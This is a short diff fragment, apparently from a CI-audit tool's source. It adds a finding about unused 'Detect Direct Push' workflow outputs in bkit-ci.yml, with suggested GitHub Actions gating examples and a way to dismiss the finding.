+ ".github/workflows/bkit-ci.yml ships bkit's `Detect Direct Push` step outputs (`should_force_build`, `should_run_full`, `cache.outputs.skip`) but no consumer-side workflow or step gates on them.",
732
+ action:
733
+ "`docs/deployments.md` documents bkit's none / partial / full run-level shape — the matrix is documentation-only until you compose at least one consumer-side gate. Examples:\n\n" +
734
+ " - A deploy job: `if: steps.detect.outputs.should_force_build == 'true' || github.ref == 'refs/heads/main'`\n" +
735
+ " - An E2E job: enable the `bkit-stub:e2e` block (which already gates on `should_run_full`).\n" +
736
+ " - A smoke workflow: copy the `bkit-stub:smoke` block to `.github/workflows/smoke.yml`.\n\n" +
737
+ "If your consumer doesn't need run-level tiers (single-track CI, no preview deploys), dismiss by removing the `Detect Direct Push` step from bkit-ci.yml. Note this also disables `[force cache]` / `[force build]` / `[force full]` tag detection.",
738
+ };
739
+ }